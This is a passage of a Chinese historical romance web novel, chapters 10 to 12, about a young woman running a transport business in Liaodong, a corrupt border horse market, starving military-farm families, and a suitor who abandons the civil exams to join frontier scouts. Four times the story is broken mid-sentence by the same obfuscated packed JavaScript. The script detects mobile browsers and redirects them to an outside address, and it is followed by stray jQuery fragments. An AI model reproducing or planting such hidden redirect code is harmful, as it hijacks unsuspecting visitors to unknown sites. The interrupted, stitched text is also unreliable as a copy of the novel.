他不明白,当年一起上房揭瓦的发小,怎么如今比国子监里那些五经博士还要吓人?
性
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341556|199357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子乖张也就罢了,一身疙瘩肉鼓鼓囊囊的,同为二十年岁,身形竟比他壮了两圈不止,狗熊成精似的。
对了,辽东那地方是不是盛产这玩意儿……
古宥谦晃晃脑袋,将发散的思维收回来。
“那你来干什么?”
“来投军。”
古宥谦没说话,只用一种“你有脑疾”的眼神上下打量宗钦。
他无语到了极点,竟笑了两声:“我爹说了,以你的才学,二甲是稳稳当当。放着好好的进士不做……太平年景,去当丘八?”
宗钦放下双臂,向后靠了靠,舒展一下肩背:
“文官三年一考满,等我熬出头,什么都晚了,军功来得快些。”
“谁不是这么熬过来的?急什么……”
宗钦看他一眼,语气淡得像水:
“我只有三年。”
此时,任何形容词都不足以描写古宥谦的心情,他看宗钦跟看一头活驴似的:“三年顶个卵用?”
“如今鞑靼、女真虽说不老实,却也没有出格举动。朝廷是不能出征么?师出无名罢了。两边僵了多少年?卫所里的百户千户,熬白了头发也捞不着一场像样的仗,又哪来的军功?”
“不用等仗来,我投夜不收,打过去。”
话音一落,古宥谦先是一怔,跟着整张脸涨得通红,声音都劈了:“什么?!”
“你疯了!”他气急败坏地一把攥住宗钦胳膊,“你当那是什么差事?出关哨探,撞见女真游骑,蒙古斥候,稍有不慎,全尸都捞不回!你的命就这么不值钱?”
宗钦难得扯出点笑意,“怕了?”
“我怕什么!”古宥谦拧眉,一脸莫名其妙。
宗钦没解释,推开窗,马车已驶过礼部衙署,再往前就该是朝阳门了。回头时,他目光带着些许怜悯,“你爹托我,这趟回去带上你。”
“……”古宥谦脑子直接空了。
好半晌,车厢里爆出几声杀猪似的嚎叫。
宗钦还是那副模样,只一眼就将古宥谦扒门的手吓得缩回去,连嚎叫都咽回嗓子。
“我爹,好狠的心……”
古宥谦瘫坐回车厢角落,鼻尖发酸,眼眶通红,脑子里跑起走马灯。
教坊司苏姑娘的小手还没牵够,小嘴儿更是没亲上,先前砸下去的银子,岂不是打了水漂?团龙贡茶都没喝几口,他的金甲大将军也不在身边,浑身上下一通翻找,统共摸出十两碎银。
天爷!
古宥谦只觉得被亲爹判了死刑,当下也顾不上体面,抱着膝盖,哞哞地哭嚎:
“早就知道他不待见我!上头有个掐尖儿的哥哥杵着,他一见我非斥即骂,没一句好话……如今还把我往鬼门关里塞,竟是半点儿也不心疼我这条命啊!”
说到痛处,他哭得更凶了:“我到底是不是他亲生的!”
“你跟你爹长得一样,不是亲父子,难不成是亲兄弟?”
此话一出,古宥谦哭都哭不顺畅了,差点笑出声,憋了半天骂出一句:“你个缺德带冒烟儿的……”
马车缓缓前行,一射之地外就是朝阳门的城楼,出了这里,用不了四五日就能见到山海关。
“行了。”宗钦扔了条帕子给他,“三年而已,我一定将你全须全尾地带回来。”
10. 老登
这晚,乐弗再次坠入那个梦境。
梦里也是三月中旬,书塾的窗纸上还结着薄薄的霜花,正值申正初刻,日影西斜。
简先生的书塾离衙署大院很远,沈德仪每每都是最晚来接,此刻学童早已散尽,只余下两道小小的身影。
乐弗像个游魂一样飘在讲台上,看着十岁的自己托着腮,盯着屋檐下的冰棱子。
水滴有规律地砸在青石板上,然后碎成更小的水珠子,溅出几朵小花。
有人走过来,在她身后的位子坐下。
“在看什么?”
是宗钦。
十三岁的宗钦,比同龄人高出许多,眉目也比现在更清隽柔和。
她没回头,懒洋洋答:“看水滴石头。”
“水非石之钻,渐靡使之然也。”
“……”
这人真是没意思透了,不过发呆而已,他却硬是讲出一番道理。
小乐弗偏过头瞪他一眼,却发现他布包里堆满了文章,袖口还沾着墨。
这么勤奋。
她忽然起了玩心,歪着头问:“你以后做了大官,会如何?”
宗钦显然没想过这个问题,十三岁的少年想了半天,憋出一句:“不知道。”
她当即笑出声来。
他皱皱眉,板着脸又补了一句:“总不会搜刮民脂民膏就是。”
少年的声音发闷,带着变声期特有的喑哑,像只一本正经的小鸭子。
她笑得东倒西歪,一个劲儿抬手指着他的喉咙。
宗钦抿起唇,不再说话。
头两次到这里,梦就该断了,可这回却像是被人续上线头,一路顺了下来。
乐弗就看到自己停了笑声,撑起下巴看着他,“那你要是回京做官了,还会回辽东吗?”
宗钦迟疑片刻,一瞬不瞬地盯着她:“我……”
“式微,式微,胡不归?”门口传来一声拖长的调子,打断了少年的回答。
小乐弗当即起身,乳燕一般投到沈德仪怀里:“怎么才来!”
“跟画屏推牌九,一时忘了时辰……宗钦,来!回家了!”
沈德仪一手一个孩子,三人踩着晚霞往外走,乐弗的游魂也跟了上去。
“娘,刚才那话是什么意思?”
“意思就是:天都黑了,怎么还不回家呀?”
“天黑了,就该回家吗?”宗钦忽然没头没脑冒出一句。
“当然。”沈德仪笑眯眯的,“若是家中有人在等,就更要回去了。”
“那——”他又问,声音一如既往的喑哑,“若是外头的人,不知道有人在等她呢?”
沈德仪愣了一下,没明白宗钦的意思,但还是顺着自己的理解回答:
“两个人都应下,那才叫等。若是一个默不作声,另一个半点不知,那不叫等,叫痴傻……”
“姑娘!”
“姑娘!!”
藤梨的声音突然闯入,把梦中画面击得粉碎。
乐弗猛地睁开双眼。
悬在头顶的是绣金纱罗帐幔,正在晨光里泛着浅浅的光。她盯着那片蜜合色的金纹,心口有些扑腾。
……原来式微阁是这么来的。
藤梨的声音从帐外传来,带着点儿焦急:“姑娘,该起了,那些人已经在铺子里候着了。”
“知道了。”
辰时整,主仆俩到了十字大街。
新开的车马行位于东北角,正好卡在东街布庄与北街客栈之间,斜对面是座茶楼,终日掮客云集。
乐弗刚一进门,大堂里的窃窃私语骤然一停,随即更为嘈杂。
“女东家?”
“女子持家尚可,经商管店?简直笑谈!”
“你都出来抛头露面了,我这大老爷们还混个屁,回家绣花得了!”
大堂里一阵哄笑。
藤梨脸色不虞,缓缓抽出腰间软鞭,眼神凌厉,只待谁再多嘴一句,就一鞭子甩过去。
满堂哄笑里,乐弗面色不改,早年那些污言秽语比这恶毒百倍的都有,就这几句软绵绵的酸话,连阵风都算不上。
她把那扬言要回家绣花的男人,从头到尾扫了一遍,最后目光落在他脚上。
黑灰皮面的靴子,针脚细密,纹理哑光。
乐弗迈步走了过去,“靴子不错。”
那人一愣,下意识把脚往后收了收,梗着脖子,“那当然,夷货行的东西,辽阳城独一份儿,你认得?”
乐弗扯扯嘴角,算是笑了一下:“认得,这是大麻哈鱼的皮。”
“好眼力!”他嘚瑟地伸出脚,好让周围的人看得更清楚些,“正经赫哲人的手艺,透气不闷,八两银子一文不少!”
“八两?”乐弗点点头,笑得和气,“夷货行这鞋向来六两,你花了八两,说明你识货,也说明我那伙计会做生意。”
那男人的脚顿时僵在半空,抬也不是放也不是。
“整个辽东,能跟赫哲人搭上线的,只有我的夷货行。你脚上这双,是去年秋里从建州女真那里运来的头批货,鱼皮还是我们几个亲自验的。”
她略微往前半步,声音清润,听不出什么火气:“你瞧不起我,却穿着我的东西招摇过市,挺有趣儿的。”
满屋子的人神色各异,那男人嘴唇动了动,到底没说出什么。
乐弗没再看他,转过身,穿过那几桌茶座,径直走到正中那把主位跟前坐了下去。
“诸位。”她端起茶碗,“今日冒昧请大家过来,没有别的意思。”
屋里静了下来。
乐弗抬起眼,目光从那几张老脸上慢慢扫过。起哄的、冷眼旁观的、低头装哑巴的……
“都是体面人,说‘撬墙角’太难听,我呢,也不做那等没分寸的事。”
她顿了片刻,唇角微扬:
“辽安驿运刚在广宁落脚,初来乍到,人生地不熟。旁的没有,银子倒是攒了些。想着诸位在这广宁城里,都是有头有脸的管事、账房,买卖多,人脉广。若是有缘呢,往后少不了要仰仗诸位,咱们互相照应,有钱一起赚嘛。”
这话听起来恭谦有礼,几人面色稍缓,待到下一句出来,那神色又悄悄绷紧了。
“我本想着好好说话,和气生财。”乐弗的目光再次扫过刚刚笑得最大声的那几人,“如今一看……”
“不过是几个偏见成性,上不得台面的东西。”
“你!”方才笑得最响亮的胖老登怒声喝骂,“女流之辈,也敢在此口出狂言!”
他腆着圆胖肚子站起身,拿腔作势,狐假虎威:“你把咱们喊来,是谈生意还是立规矩?要是立
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341557|199357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
规矩,你个小辈儿坐主位,咱们站着听训,倒也使得……只是咱们背后的商帮,未必肯认你这尊大佛!”
此话一出,那几个方才跟着起哄的纷纷挺直了腰杆,拿眼睛斜睨着乐弗。
就这点能耐?说不过就扯虎皮?乐弗一个没绷住,笑出声音。
扯虎皮谁不会?巧了,她手头正有一张鲜亮的。
“不认得我,不打紧。”她语气平和得像在拉家常,“只要认得总兵府的大门朝哪边开,就行了。”
说完,任凭几个老登交换眼神,乐弗只当瞧不见,端起茶盏,从容抿了一口。
在她看来,这些人没有一个配跟辽安驿运合作。
这是一群畏威不畏德的动物。
一看见女人,脑子还没转,嘴先动了。从头到尾,没有一个人真正想过她说的“照应”两个字意味着什么。
不是她瞧不起谁,而是因为偏见这种东西,堵的不是别人的路,而是自己的路。跟这种人扯上关系,早晚会被他们害死。
乐弗放下茶盏,抬眼看了看那几个眼珠子仍在乱转的老登,心里冷嗤一声。
看来偏见也不是全无好处,至少碰上硬茬子,就不敢再狗叫了。
她站起身,面上笑意盈盈:“茶也喝了,话也说了,我就不留诸位了。”
众登如蒙大赦,纷纷起身向外走——
“对了。”乐弗的声音从几人身后传来,“记得把账结了再走。”
那位胖老登下意识回头:“什么账?”
“茶钱啊。”乐弗抬手指着桌上的茶盏,一脸理所当然,“怎么?诸位在这儿骂了我半天,难不成还指望我做东请客?”
众登面面相觑。
其中一位身穿酱色袍子的挤出笑脸:“这茶钱是多少?”
“这是从云南送来的贡茶,整个辽东拢共就剩下这么点。我也不多要你们的……”乐弗抬眼一扫:“一人一两。”
“一两?!你怎么不去抢!”胖老登的脸气成猪肝色。
乐弗叹了口气,像是在看一个不懂事的孩子:“您说得对,抢确实比做生意来钱快。”
她站起身,往内堂走了两步,挑开珠帘,头也不回地丢下一句:
“可惜我这人,就是喜欢做买卖。门在那边,钱放桌上,慢走不送。”
帘子落下。
最后还是酱色袍子率先从袖子里摸出一两碎银,往桌上一搁。
有他带头,其他人也纷纷拿钱。
胖老登站在那儿,脸上的肉抖了三抖,最后咬着牙掏出银子,拍得比谁都响。
“这茶我喝了!这份人情我也记下了!山不转水转,咱们后会有期!”胖老登撂下一句狠话,“记下”两个字咬得格外重。
不一会儿,帘子后面传来乐弗阴阳怪气地回答:
“记下就好,我最怕别人欠我人情不还了。”
胖老登正要再说两句,却被酱色袍子一把拽住袖子:“走了走了!”
内堂里,齐宝和葛喜生俩人听了全程,对视一眼。
得,白担心了。
这么一看,离开公子给的保护圈,小东家这嘴才算是有了用武之地。
那边,乐弗系好帷帽,冲俩人高喊:“套车!去马市!”
今日无论如何,她都要给辽安驿运博出个开门红!
11. 屯军
巳时,马车停在了“中屯卫”的牌坊下面。
牌坊很旧了,外漆剥落得七七八八,隐约能看出上头的字。
三月的马市早已没了什么正经买卖。
鞑靼的马群还在冬牧场啃枯草,二道贩子们还在等开河运货,几个通译裹着皮袍蹲在墙根晒太阳,等活计等得眼神涣散。
刚下车,乐弗还没站稳,阴影里窜出几个人来。
“坐车累了吧?中屯卫最好的客栈,热水热饭,通铺单间都有!”
“贵人可要买马?小人手里有三匹健壮的,价钱好商量!”
“通译!通译!鞑靼、女真、高丽话都会说!谈生意没小人不成啊!”
此刻帽檐垂下的皂纱起了大用,不说能遮多少,至少能把那些化外之人的赤裸目光隔开。
一行人没停留,径直朝验关台走。
“凡入市者,许携兵器一,弓矢不计;鞑子携刀不携甲;交易布帛、米盐、铁锅为限,硫磺硝石、棉甲生铁禁出……”
土坯垒的台子上,坐着个书办模样的老吏,戴着副叆叇,逢人就摇头晃脑叨叨这些。
“辽安驿运。”乐弗从袖中摸出行商文书拍在土台上,“来寻生意。”
那老吏先擦擦镜片,上上下下扫了一遍几人的打扮,随后拿起勘合,在旁边的印泥上蘸了蘸,往乐弗手边一推:“交钱。”
乐弗没动。
“老头儿,你好好看看,我们可是本地的!”藤梨一个箭步蹿到验关台前,提起文书,使劲戳着上头“广宁卫”三个朱砂大字。
“本地的?”老吏嘿嘿一笑,露出豁口的牙,抬手指指乐弗头上的帷帽,“本地人可不带这个!管你这卫那卫,只要蹄子踏进我的验关台,就得按规矩来!”
“你这老王八犊……唔!”
乐弗抢先一步捂上藤梨的快嘴。
那老吏也不恼,伸出两根手指,在二人眼前晃了晃:“勘合、保金。少一样请回,多一样么……”他眼珠子往乐弗帷帽下的银貂斗篷上溜了一圈,“多一样老朽也不敢收。”
“爷台说得是。”
一块碎银从乐弗袖中滚出,在土台上滚了半圈,停在那张勘合旁边。
干枯的大手一覆,银子瞬间没了。
“申时闭市,别误了时辰。”老吏又变回那副摇头晃脑的模样。
进了马市,藤梨小脸忿忿,仍不服:“在辽阳过税卡,也没这样明着伸手的!怎么,这广宁是坐地分赃的堂口吗?一群土匪秧子!”
她迟早回禀了侯爷!
齐宝提了只箱子,边走边四处张望,听她这么说,故意凑趣:“这叫阎王好见,小鬼难缠。”
“这些差役月粮撑死三五斗米,折银不到三钱,还不够咱一顿饭的,更别提养活妻儿老小……上头逼他们去贪,把怨气全转嫁到底层身上。到头来,客商只会骂差役凶狠,谁还知道,真正不是东西的,其实是衙门里那群当官的?”
“小东家慎言呐!”葛喜生听得心惊肉跳。
“看路!”
齐宝眼疾手快,一把薅住葛喜生的后脖领,猛地将他拽了回来。
车轮碾过泥巴地,辘辘闷响,一辆马车径直从四人身边擦了过去。
望着鞋头溅上的泥点子,乐弗略微蹙眉,马市向来不许车辆随意进出,这得塞了多少孝敬……
一行人绕过这段路,往右边拐了百十步,远远见到鞑子的商圈,结果里头仍是一片烂泥巴场子。
方才那辆招摇过市的马车,在商圈旁碾出了两尺多深的车辙,七八个汉子手里攥着铁锹,正一铲一铲地往车辙里填土。
乐弗远远一扫,最先注意到汉子们身上的衣物。
说是号衣,其实早就看不出原本的形制了。粗布料子发白发灰,补丁摞补丁,实在补不上的地方就露着,风一吹,破布片簌簌晃动。
三月天犹寒,他们个个赤着双脚,神情麻木,手底下一刻未停。
“屯军么……”乐弗的视线仍落在那几个汉子身上。
她知道军户里有这么一群人,世代绑在屯田上。可辽阳是治所,她久居内城,平日里见的都是正军,又哪里见过这样的“军”——
面黄肌瘦,衣不蔽体,看起来竟连贱籍都不如。
齐宝顺着她的目光看过去,只一眼就别开了。
在广宁大营那些年,他早已见惯了这套规矩。底层屯军向来如此,累死活该,打死白打,世代都是这么熬过来的。
“这儿的倒春寒比辽阳还厉害。”葛喜生装模作样地搓搓手,忙转移话题。
话音刚落,远处传来一声呵斥,泥地里有一个屯军应声栽倒。
葛喜生恍若未闻:“小东家,再耽搁怕是要耽误了。”
“走吧。”
越往西北走,朵颜人的奶酪摊子气味越浓,混着皮货马粪的腥臊,熏得乐弗脑仁疼。
这些鞑子大多是兀良哈三卫来的,个个留着三搭头,右衽袍服束着腰带,膝盖以下镶一圈兽皮。他们在棚子里或蹲或坐,见有人看货,也不起身招呼,只拿眼斜睨,仿佛这片马市是他们的草场。
当年先帝清君侧,借过兀良哈三卫的骑兵,人情欠下便得用马市来还,朝廷要他们保塞,他们就真拿自己当功臣,如今连归顺之心都懒得装了。
看着这荒诞的一幕,乐弗想笑。
那些屯军尚且在泥里冻着,这些鞑子却在这里耀武扬威。先帝当年借的那把刀,如今割的到底是谁的肉?
她顿时失了跟这些鞑子做生意的兴趣,站在原地朝周围扫了一圈。
角落里,几个汉人模样的妇人,缩在棚子的阴影里,身子蜷得紧紧的。
“她们又是……”
乐弗同角落里的一个妇人对上眼神,那妇人慌忙掀开面前的箩筐,从里头取出几双布鞋,冲她遥遥举着,手指冻得肿胀,却还在笑。
既然人家敞开箩筐候着,买不买的,也得看一眼,于是她抬脚走了过去。
齐宝跟上来:“她们是屯军的家眷,现下春耕还没开始,闲着也是闲着,带些针黹腌菜来换几个钱。”
说话的功夫,乐弗已走到那妇人摊前径直蹲了下去,裙角拖进泥水里也浑不在意。
她接过那几双布鞋翻看,纳得倒是厚实,只是走线不太利索,想必点灯熬油时花了眼。
妇人身旁有个黑瘦的男孩,见一行人过来,有些局促,往角落深处缩了缩,露出一双冻得裂口的脚。
握着这几双鞋,乐弗忽然开口:“卫所不是能领伤药么?”
她扫过这母子冻伤的地方,又看向其他几个蜷缩的身影。
个个指节肿得老高,冻烂处渗着血,却只是用布条胡乱裹着,连副正经膏药都没有。
“朝廷不管你们?”
听完这话,妇人略显惶然的脸色忽然就平静了。
“管呀,怎么不管……”那妇人伸手把孩子往怀里拢了拢,语气平淡,像在说别家闲事:
“包赔屯田籽粒的时候,管得可厉害了。管得我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341558|199357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们卖房卖地,卖儿卖女——”
她低头看了眼身边空着的位置,那里本该有个更大的孩子。
“年前,我家老大卖了三十斤小米,给卫所抵了去年欠下的籽粒钱。”
齐宝忽然就不敢再看这几个妇人一眼。
他太知道这些屯田籽粒都去了哪里,不外乎是用来供养他们这帮正军了。
“大靖有制,凡屯军一人,授田五十亩为一分。不该连六石余粮都没有,还把孩子卖了呀?”藤梨凑上来,睁着一双杏眼,满脸不解。
那妇人抬眼,看藤梨像是在看一个不知世事的孩子:“五十亩?”她摇摇头,肿胀的手指往卫所的方向一指,“这个,就得去问百户大人了。”
话音刚落,旁边棚子前忽然响起一串连珠炮似的鞑语:
“你们这些吃生肉的野狗,敢碰老娘的筐子,明日就砍了你家马匹的蹄子!”
乐弗听不懂,但能听出来是咒骂,她扭头望去——
那是个二十出头的女子,叉着腰立在泰宁卫的盐砖棚子前,身旁站着个三四岁的女童,学着女子的模样也叉着腰,小胸脯挺得老高。
缩在角落里的妇人们忽然动了。
几人连忙搀扶着站起,朝盐棚快步赶去,一冲到跟前,张嘴就是一串流利的鞑语,与那年轻女子一唱一和,竟将两个壮硕的泰宁鞑子骂得连连后退。
乐弗愣在原地。
这几个被籽粒钱逼到走投无路的妇人,竟个个都会鞑子话,骂起人来又泼辣凶狠,与方才那副瑟缩模样判若两人。
她忽然就有了主意。
“齐宝,你去查查。”
“查谁?”齐宝一时没明白。
“她们会鞑子话,”乐弗望着那几个妇人手挽手走回来的身影,她们脸上还带着未褪的亢奋,像刚打完一场胜仗。
“我要知道她们家里还有几口人,欠卫所多少籽粒钱。”
眨眼的功夫,几个妇人已说笑着走回了箩筐旁,乐弗将手里的布鞋并箩筐里的几双,一并拾起递给葛喜生。
“这几双我都要了。”她将佩囊直接放到妇人手里。
指尖一沉,那妇人触到囊里沉甸甸的银子,有些发懵,“不过几双粗针布鞋……这太多了,我可受不起!”她慌忙把银子递回来。
乐弗轻轻抬手拦住:“拿着吧,够你们几个置办身得体衣裳的。”
一旁几个妇人也围了上来,各个神情警惕惊慌。
“明日午时,十字大街辽安驿运。你们几个若是家里窘迫,想寻份安稳活计,只管来找我。”
不等回应,乐弗转身便走。
这马市里的泥巴地,还有那些斜睨着眼睛的鞑子,她一眼也不想再多看。
几人沿着来时路折返,路过方才屯军们修补过的地方,那泥坑已经被填平,新土还泛着潮气,上面铺着几块石板。
可还没等乐弗收回目光,远处又传来辘辘车声,方才那辆马车也折返回来,车辙不偏不倚,从新铺的石板上碾过。
“咔嚓”几声,石板断裂,泥水四溅,马车绝尘而去。
小旗官的吼声很快又响起:“都麻利点!闭市前填平整!”
几个赤脚的屯军沉默不语,扛着锹,木然走回坑边。
填了平,平了碾,碾了再填。
乐弗不忍再看。
这些屯军的命运又何尝不是如此。
世世代代填着同一个坑,平了一处,转眼又被碾开一处,反反复复,永无出头之日。
12. 成全
通往广宁的官道实在不好走。
三月中冰雪初融,路面松软泥泞,雪水混着马粪,到处都透着一股子腐败腥臭气。
车厢里的古宥谦彻底放弃挣扎。
他歪斜着,任凭五脏六腑跟马车一起上下翻腾,双眼无神地盯着车顶,就差交代遗言了。
“我说……”声音像是从地底下飘上来的,“能不能歇会儿……”
另一个人也是狼狈,锦袍发皱,下巴覆着一层青硬胡茬,额角碎发垂落。只是相比古宥谦,宗钦显得精神几分。
远处终于浮出广宁城的轮廓,城墙巍峨矗立,直插天际,透着一股沉默的威严。
“快了。”宗钦放下车帘,难得安慰好友一句。
古宥谦不想听他的鬼话。
二人日夜兼程,好不容易赶回辽阳,热茶都还没喝一口,谁知这头活驴又犯了脾气,拽着他掉头就往广宁跑。
你说是不是有病?那前天打广宁过的时候怎么不停!
“我就是该你的……”话音刚落,马车猛地一晃,古宥谦的脑门再次怼上车壁。
*
马车在总兵府门口停下时,亲兵们正在换岗。
领头的赵百户一眼就认出是自家车架,连忙迎上去:“公子?您这是……”
怎么跟被追债的破落户似的?
宗钦略一点头,往身后示意一下就径直往府里走。
赵百户这才注意到马车边儿还有一个,那人正扶着车辕干呕,脸色比门口的石狮子还白。
“您又是……?”他过去搀扶。
“等会儿。”古宥谦摆摆手,“让我缓缓……呕!”
赵百户怕被这小子讹上,顿时不敢再碰,赶紧招呼人手过来搬行李。
式微阁藏在总兵府西南角,偏僻清静,宗钦站在院前,却迈不动步子。
眼前这间院子他准备了太久。
当初也没有什么堂皇理由,不过是有些心思压得太实,总得找个地方安放。却从未想过,乐弗有天真的会住进来。
宗钦胸口涌起一种近乎惶恐的动容,好像一迈进去,就会碰碎了美梦,光是站在这儿,都觉得不像真的。
他还是推开了门。
庭院收拾得干净,墙上南蛇藤刚展新叶,老枝节眼处,冒出些许浅碧色新芽。
书房的支摘窗半敞,书案上随意摞着账册书信,凌乱不规整,一看就知是她日日在此久坐,随手翻弄的模样。
宗钦缓缓闭上眼。
院子里到处是她的气息,极淡极浅,混着衣裳惯有的芙蕖味道,直直钻进他的四肢百骸。绷了几天的弦骤然松弛,那些怕她悄然远去,再也握不住的恐慌,也退潮似的平息了。
她在这里。在他的府上。在他的式微阁。
念头一起,宗钦笑得极为踏实,连那些不能见人的欲望,都被这股念头养得安稳妥帖,让他笃定——
本该如此,就该是这样。
“公子?”身后传来一声试探的轻唤,他回身。
周妈妈正站在廊下,手里提着熏笼,满脸惊诧。
一瞧见宗钦这副受了大罪的模样,周妈妈眼泪当即就落了下来,快步上前扯着他的衣袖,来回细细打量。
“可是在京里受了委屈,遭了难处?”
“我没事。”宗钦低声安抚,“就是想家了,路上赶得急了些。”
周妈妈抹掉眼泪,连声念叨:“家就在这儿,赶什么赶,还能长腿儿跑了不成?”
这时院门外传来两道脚步声,不远不近的。
“你先带着她们学算账,受累一阵儿。”是乐弗的声音,清凌,还带着几分笑意。
“不累不累,银子到位就成!”藤梨依旧是那副嬉皮笑脸的腔调。
“哪次不到位了……”乐弗打趣一句,跨进院门,话音忽然顿住。
四目相对。
“宗钦?”她脱口而出。
乐弗扫过他凌乱的头发,到青黑的胡茬,再到皱巴巴的衣袍。眉头拧起,却露出个似笑非笑的表情。
“失魂落魄的,”她轻哼一声,挑着眉揶揄,“落榜啦?”
宗钦没有立刻回答,只沉默回望,视线笼罩在她脸上。
被这样盯着,她逐渐有些不自在。
“嗯,”宗钦听见自己说,“落榜了。”
显然乐弗没有料到这个结果,张了张嘴,想说老天有眼,又想骂他浪费盘缠,只是话到嘴边却变成:
“多大点事儿……赶紧去换洗!”她皱皱鼻子,一脸嫌弃,“都馊了就别杵在这儿!”
宗钦忽然笑了。
眼底眉梢都松快下来,像城外冰封许久的太子河终于解冻,春水流淌,万物复苏。
这些年他愈发阴沉,这样干净松弛的笑,乐弗已许久没见过了。
她心里咯噔一下,警惕地往后退了半步。
脑子没毛病吧?落榜还能笑成这样?
“知道了。”他说,然后就真的走了,干脆利落。
乐弗站在原地,目送宗钦消失在回廊尽头,心里莫名发堵。
这些年他也是苦读熬出来的,连简先生都时常夸赞。眼睁睁看着他从童生顺当走到现在,临门一脚,怎么就栽在会试上了……
“姑娘,”藤梨轻声提醒,“进去换身衣裳吧,侯爷那边还等着呢。”
“嗯。”
*
总兵府的晚饭一向简单。
宗传辉不讲究排场,四菜一汤,两荤两素,填饱肚子就行。只是今日这菜摆了许久,还没人动筷子。
饭桌上三个男人,六只眼睛,各怀心思。
古宥谦的心思最简单,他饿坏了。
十多天的风餐露宿,几乎没吃过一顿像样的饭食。此刻看着桌上的酱肘子,清炖羊肉,眼都绿了。
“叔父。”古宥谦努力把目光从酱肘子上挪开,“我爹在家闷坏了,可惜外调辽东的差事总轮不上他,只能在京里苦哈哈熬着。”
宗传辉点点头:“你爹身子还康健吗?”
“好着呢,年前跟营里的教头比划刀剑,还赢了。”古宥谦说着,又瞟了一眼桌上的菜,“就是馋您府上这口酱肘子,我爹念叨多少年了……”
“少拍马屁!”宗传辉笑骂一句,目光转向一直沉默的儿子,“路上累了吧。”
“还好。”宗钦坐在那里,脊背挺直,看不出什么情绪。
父子俩的对话就此打住。
古宥谦左右看看,刚想说些什么活跃气氛,外头脚步声近了。
他立刻把话咽回肚子,眼巴巴瞅着门口。
乐弗跨进门槛,屈膝一福:“伯父。”
“快来。”宗传辉抬抬手,“就等你开饭了。”
一直到乐弗入座,古宥谦才收回目光,下意识扫了好友一眼。
宗钦面色无波,可古宥谦就是觉得,刚才自己脖子上凉飕飕的,有柄利刃架在上头一样。
他终于懂了。
为什么宗钦非得日夜兼程赶回来,为什么宁愿放弃功名也要投身夜不收。
这样的姑娘……古宥谦趁机又偷瞄一眼,随后垂下脑袋只管扒饭。
这样的姑娘,别说给她挣军功了,就是把命舍给她,那也值了。
席间无人多言,只有箸碟轻响,待到饭后撤了碗筷,换上热茶,宗传辉才像是忽然想起什么:“你来辽东究竟是做什么?有差事?”
酒足饭饱,古宥谦正舒舒服服捧着茶杯,闻言苦笑一声。
来做什么?您这不明知故问么。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341559|199357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“我跟着怀朔来投军。”
宗传辉端着茶杯的手顿了一下,缓缓扭头打量儿子,像看一个陌生人。
“你要投军?”
天爷,当爹的竟居然不知情!
吓得古宥谦立刻坐直身子,大气不敢喘一口。
“是。”宗钦语气平平,“我已从古伯父那里拿到了荐书。”
“荐书?”宗传辉给他气笑了,“老子给你荫个千户不就完了?用得着你千里迢迢跑京城去求人?”
“我投的不是卫所。”
宗钦抬起头,看着他爹。
“是夜不收。”
花厅里一下子安静了,静得连根针掉地上都能听见,乐弗猛地抬起头。
宗传辉脸上那点笑意彻底没了,他盯着儿子看了好一会儿,从牙缝里挤出一句:
“你再说一遍?”
宗钦迎上他爹的目光,寸步不让:“求父亲成全。”
“成全个哨子!”老宗彻底炸了,气得愣是不知该干点儿什么好,做了个让所有人意想不到的举动——
他起身绕着椅子走了一圈。
宗传辉想提刀砍了这个自作主张的孽障,可一想到他娘临死前说的话,又下不去手,着实进退两难。
绕了几圈,他一屁股坐回椅子上,疲惫地抹了把老脸。
“你是我的儿子,是将来的都司指挥使,竟要去做夜不收……尤其还带着他!!”
一个带风的手指头急速戳到自己面前,古宥谦吓得往后一仰,差点从椅子上翻下去。
紧跟着就是一阵委屈。
自己也没这么差吧,带着怎么了?
“你死了就死了,这小子要是在边境线上出了事,你拿什么去见古为先?”
“叔父,是我爹让我来的……”古宥谦赶紧赔笑解释。
“你爹也是被他撺掇的!”
看了看对面一脸茫然的乐弗,宗传辉只能把心里那些猜想都咽回去,化成另一道怒吼:
“我怎么就生了你这么个不值钱的东西!”
说完拍桌而起,走了。
花厅顿时安静下来。
